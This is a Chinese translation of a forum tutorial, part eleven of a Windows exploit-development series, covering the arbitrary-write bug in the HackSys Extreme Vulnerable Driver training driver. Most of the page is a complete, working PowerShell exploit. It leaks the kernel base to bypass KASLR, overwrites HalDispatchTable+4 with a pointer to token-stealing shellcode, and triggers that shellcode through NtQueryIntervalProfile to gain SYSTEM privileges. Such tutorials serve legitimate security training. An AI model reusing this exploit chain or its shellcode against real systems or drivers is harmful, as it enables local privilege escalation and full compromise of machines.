-
-
[翻译]Windows exploit开发系列教程第十一部分:内核利用程序之任意地址任意写
-
2018-3-14 20:18 2754
-
译者注:年前曾经翻译过本系列的第十部分,后来因为一些事情一度断更。从春节到现在陆陆续续翻译了后续的一些章节,发到看雪论坛,供二进制安全初学者学习。
在翻译的过程中,原本是想用自己的截图对原文进行替换(第十部分即是如此),但考虑到本地的一些表现和原文有一定出入,所以最终决定一概保留原文的截图,特此说明。
点击查看原文
Windows exploit开发系列教程第十部分:内核利用程序之任意地址任意写
欢迎来到Windows exp开发系列的第十一部分。今天我们会使用HEVD来编写一个内核层任意位置任意写的漏洞exp。关于调试环境安装的细节请参考第十部分。因为时间有限,我一般会非常快速的过一遍这些邮件,但如果你有任何疑问的话请依然让我知晓,我们开始吧!
HackSysExtremeVulnerableDriver (hacksysteam) - here
Driver write-what-where vulnerability - here
Arbitrary Memory Overwrite exploitation using HalDispatchTable - here
侦查挑战
让我们看一看含有该漏洞的函数(here)。
NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) { NTSTATUS Status = STATUS_SUCCESS; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(WRITE_WHAT_WHERE)); DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere); DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE)); DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", UserWriteWhatWhere->What); DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", UserWriteWhatWhere->Where); #ifdef SECURE // Secure Note: This is secure because the developer is properly validating if address // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead() // routine before performing the write operation ProbeForRead((PVOID)UserWriteWhatWhere->Where, sizeof(PULONG), (ULONG)__alignof(PULONG)); ProbeForRead((PVOID)UserWriteWhatWhere->What, sizeof(PULONG), (ULONG)__alignof(PULONG)); *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What); #else DbgPrint("[+] Triggering Arbitrary Overwrite\n"); // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability // because the developer is writing the value pointed by 'What' to memory location // pointed by 'Where' without properly validating if the values pointed by 'Where' // and 'What' resides in User mode *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
该驱动持有两个指针,一个用于展示驱动将写入内存的值,另一个提供了驱动将要写的位置。同样的,显示了漏洞的同时也显示了安全的实现体。这里的问题在于驱动没有检查目标指针的地址是否在用户空间,因此我们可以用任意4字节值覆写任意内核4字节地址。
此前我们看到过如何通过分析IrpDeviceIoCtlHandler表来获取函数的IOCTL。这里我们将学习一种不同的方法。驱动头文件driver header展示了所有的定义的函数。
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_TYPE_CONFUSION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS) #define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS) I/O Control Codes (IOCTL's) are composed of a few different components (type, code, method, access). The interesting thing is that the Windows driver kit has a standard macro which can be used to define new IOCTL's. We can actually extract all the valid IOCTL's by emulating the macro functionality as show below. PowerShell v3+: "{0:X}" -f $((0x00000022 -shl 16) -bor (0x00000000 -shl 14) -bor (FUNC_NUM_HERE -shl 2) -bor 0x00000003) C++\C#: (0x00000022 << 16) | (0x00000000 << 14) | (FUNC_NUM_HERE << 2) | 0x00000003 Example: HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE = 0x802 => "{0:X}" -f $((0x00000022 -shl 16) -bor (0x00000000 -shl 14) -bor (0x802 -shl 2) -bor 0x00000003) => IOCTL = 0x22200B
I/O控制码(IOCTL's)又一些不同的组件(类型,码值,方法,访问权限)构成。有意思的是WDK有一个标准的宏可以用于定义新的IOCTL。我们实际上可以通过仿真该宏的功能来提取出所有的有效的IOCTL。
阅读更多关于宏的说明here。现在我们有了IOCTL,让我们使用IDA的图形显示板快速的检查一下。
看起来不错,有个稍微让我困惑的事情是函数要如何决定它将要写哪些字节。它不会写你给它的4字节,它会把这4字节当成一个指针并写入该指针指向的地址处开始的4字节值。缓冲区结构如下。
# The first 4 bytes are a pointer to a pointer [IntPtr]$WriteWhatPtr(->$WriteWhat) + $WriteWhere
记住这一点,如果你简单的指定你的shellcode的地址,它实际上会写你的shellcode的前4个字节。
我快速组织了一个POC来测试能否顺利调用这个函数。
Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class EVD { [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr CreateFile( String lpFileName, UInt32 dwDesiredAccess, UInt32 dwShareMode, IntPtr lpSecurityAttributes, UInt32 dwCreationDisposition, UInt32 dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("Kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, int IoControlCode, byte[] InBuffer, int nInBufferSize, byte[] OutBuffer, int nOutBufferSize, ref int pBytesReturned, IntPtr Overlapped); [DllImport("kernel32.dll")] public static extern uint GetLastError(); } "@ $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) if ($hDevice -eq -1) { echo "`n[!] Unable to get driver handle..`n" Return } else { echo "`n[>] Driver information.." echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" echo "[+] Handle: $hDevice" } # Buffer = WriteWhat + WriteWhere $Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x4 echo "`n[>] Sending buffer.." echo "[+] Buffer length: $($Buffer.Length)" echo "[+] IOCTL: 0x22200B`n" [EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
很好,我们有了exp的原型。
Pwn
真正的问题是到底要覆盖哪个地址(在内核空间),如何找到可信赖的地址,执行后不会BSOD(蓝屏)。幸运的是这项艰巨的工作已经有人做过了,我们可以覆盖一个内核的分发表指针,这相对来说安全(在Ruben Santamarta的2007年发表的“Exploiting common flaws in drivers”论文中第一次描述)。它揭示出有一个未文档化(罕用)的函数——NtQueryIntervalProfile用于量度计数滴答之间的性能。这个函数内部调用了KeQueryIntervalProfile系统调用。反汇编KeQueryIntervalProfile,看起来没什么特别的。
NtQueryIntervalProfile最终会调用一个在HalDispatchTable+0x4处的指针。如果我们可以覆盖该指针使其指向我们的shellcode,那么当调用NtQueryIntervalProfile时我们的shellcode就可以在内核层运行了。
现在我们知道了想要覆盖的地方,我们还需要弄清楚如何找到HalDispatchTable的地址。幸运的是,我们可以利用一个有用的未文档化的函数——NtQuerySystemInformation。如果我们调用NtQuerySystemInformation且指定SystemModuleInformation类我们可以获取一个加载的模块列表以及他们各自的基地址(包括NT内核)。我将节约读者去看关于该函数糟糕的细节的时间,我写了一个PowerShell脚本来做这一项工作, Get-SystemModuleInformation。
它有效的绕过了内核中的ASLR,因为我们可以使用加载模块的基地址来计算任意函数的偏移。下面你会看到使用简单的指针算术运算来获取HalDispatchTable偏移的过程。
$SystemModuleArray = Get-SystemModuleInformation $KernelBase = $SystemModuleArray[0].ImageBase $KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1] $KernelHanle = [Kernel32]::LoadLibrary("$KernelType") $HALUserLand = [Kernel32]::GetProcAddress($KernelHanle, "HalDispatchTable") $HalDispatchTable = $HALUserLand.ToInt32() - $KernelHanle + $KernelBase
我们可以重用上一节创建的窃取token的shellcode,完善其中的一部分。
$Shellcode = [Byte[]] @( #---[Setup] 0x60, # pushad 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] #---[Copy System PID token] 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 0x75, 0xED, # jnz ->| 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx #---[Recover] 0x61, # popad 0xC3 # ret )
我们无需还原那些此前所用的额外说明。此外,我们劫持了一个函数调用,所以需要保存寄存器的状态,shellcode执行后需要返回到执行流继续正常执行。
终结
这就是完整的运行体,设置指针以及分配shellcode的过程中海有一些次要的细节。可以参考下面完整的exp来了解更多信息。
Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct SYSTEM_MODULE_INFORMATION { [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] public UIntPtr[] Reserved; public IntPtr ImageBase; public UInt32 ImageSize; public UInt32 Flags; public UInt16 LoadOrderIndex; public UInt16 InitOrderIndex; public UInt16 LoadCount; public UInt16 ModuleNameOffset; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] internal Char[] _ImageName; public String ImageName { get { return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0]; } } } public static class EVD { [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] public static extern IntPtr LoadLibrary( string lpFileName); [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] public static extern IntPtr GetProcAddress( IntPtr hModule, string procName); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc( IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr CreateFile( String lpFileName, UInt32 dwDesiredAccess, UInt32 dwShareMode, IntPtr lpSecurityAttributes, UInt32 dwCreationDisposition, UInt32 dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("Kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, int IoControlCode, byte[] InBuffer, int nInBufferSize, byte[] OutBuffer, int nOutBufferSize, ref int pBytesReturned, IntPtr Overlapped); [DllImport("ntdll.dll")] public static extern int NtQuerySystemInformation( int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int ReturnLength); [DllImport("ntdll.dll")] public static extern uint NtQueryIntervalProfile( UInt32 ProfileSource, ref UInt32 Interval); [DllImport("kernel32.dll")] public static extern uint GetLastError(); } "@ # Call NtQuerySystemInformation->SystemModuleInformation # & Alloc buffer for the result [int]$BuffPtr_Size = 0 while ($true) { [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size) $SystemInformationLength = New-Object Int # SystemModuleInformation Class = 11 $CallResult = [EVD]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength) # STATUS_INFO_LENGTH_MISMATCH if ($CallResult -eq 0xC0000004) { [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength) } # STATUS_SUCCESS elseif ($CallResult -eq 0x00000000) { break } # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION else { [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) echo "[!] Error, NTSTATUS Value: $('{0:X}' -f ($CallResult))`n" return } } # Create SystemModuleInformation struct $SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION $SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType() if ([System.IntPtr]::Size -eq 4) { $SYSTEM_MODULE_INFORMATION_Size = 284 } else { $SYSTEM_MODULE_INFORMATION_Size = 296 } # Read SystemModuleInformation array count # & increment offset IntPtr size $BuffOffset = $BuffPtr.ToInt64() $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) $BuffOffset = $BuffOffset + [System.IntPtr]::Size # Loop SystemModuleInformation array # & store output in $SystemModuleArray $SystemModuleArray = @() for ($i=0; $i -lt $HandleCount; $i++){ $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION) $HashTable = @{ ImageName = $Cast.ImageName ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()} ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)" } $Object = New-Object PSObject -Property $HashTable $SystemModuleArray += $Object $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size } # Free SystemModuleInformation array [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) # Get pointer to nt!HalDispatchTable echo "`n[>] Leaking HalDispatchTable pointer.." $KernelBase = $SystemModuleArray[0].ImageBase $KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1] $KernelHanle = [EVD]::LoadLibrary("$KernelType") $HALUserLand = [EVD]::GetProcAddress($KernelHanle, "HalDispatchTable") $HalDispatchTable = $HALUserLand.ToInt32() - $KernelHanle + $KernelBase $WriteWhere = [System.BitConverter]::GetBytes($HalDispatchTable+4) echo "[+] Kernel Base: 0x$('{0:X}' -f $KernelBase)" echo "[+] HalDispatchTable: 0x$('{0:X}' -f $HalDispatchTable)" # Compiled with Keystone-Engine # Hardcoded offsets for Win7 x86 SP1 $Shellcode = [Byte[]] @( #---[Setup] 0x60, # pushad 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] #---[Copy System PID token] 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 0x75, 0xED, # jnz ->| 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx #---[Recover] 0x61, # popad 0xC3 # ret ) # Write shellcode to memory echo "`n[>] Allocating ring0 payload.." [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length) $WriteWhat = [System.BitConverter]::GetBytes($Pointer.ToInt32()) echo "[+] Payload size: $($Shellcode.Length)" echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())" # Get handle to driver $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) if ($hDevice -eq -1) { echo "`n[!] Unable to get driver handle..`n" Return } else { echo "`n[>] Driver information.." echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" echo "[+] Handle: $hDevice" } # TriggerArbitraryOverwrite() IOCTL = 0x22200B # => [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere #--- [IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($WriteWhat.Length) [System.Runtime.InteropServices.Marshal]::Copy($WriteWhat, 0, $WriteWhatPtr, $WriteWhat.Length) $Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + $WriteWhere echo "`n[>] Sending WriteWhatWhere buffer.." echo "[+] IOCTL: 0x22200B" echo "[+] Buffer length: $($Buffer.Length)" echo "[+] WriteWhere: 0x$('{0:X}' -f $($HalDispatchTable+4)) => nt!HalDispatchTable+4`n" [EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null # NtQueryIntervalProfile()->KeQueryIntervalProfile() # => KeQueryIntervalProfile+0x23-> call dword HalDispatchTable+0x4 #--- # kd> # nt!KeQueryIntervalProfile+0x23: # 82cd0836 ff150404b382 call dword ptr [nt!HalDispatchTable+0x4 (82b30404)] # 82cd083c 85c0 test eax,eax # 82cd083e 7c0b jl nt!KeQueryIntervalProfile+0x38 (82cd084b) #--- echo "[>] Calling NtQueryIntervalProfile trigger..`n" [UInt32]$Dummy = 0 [EVD]::NtQueryIntervalProfile(0xb33f,[ref]$Dummy) |Out-Null
同样的,思考一下,在污染了HalDispatchTable指针后,我们有效的创建了一个内核之门。我们总是可以在同样的偏移处覆盖我们的shellcode并通过调用NtQueryIntervalProfile来直接运行内核中我们的新代码。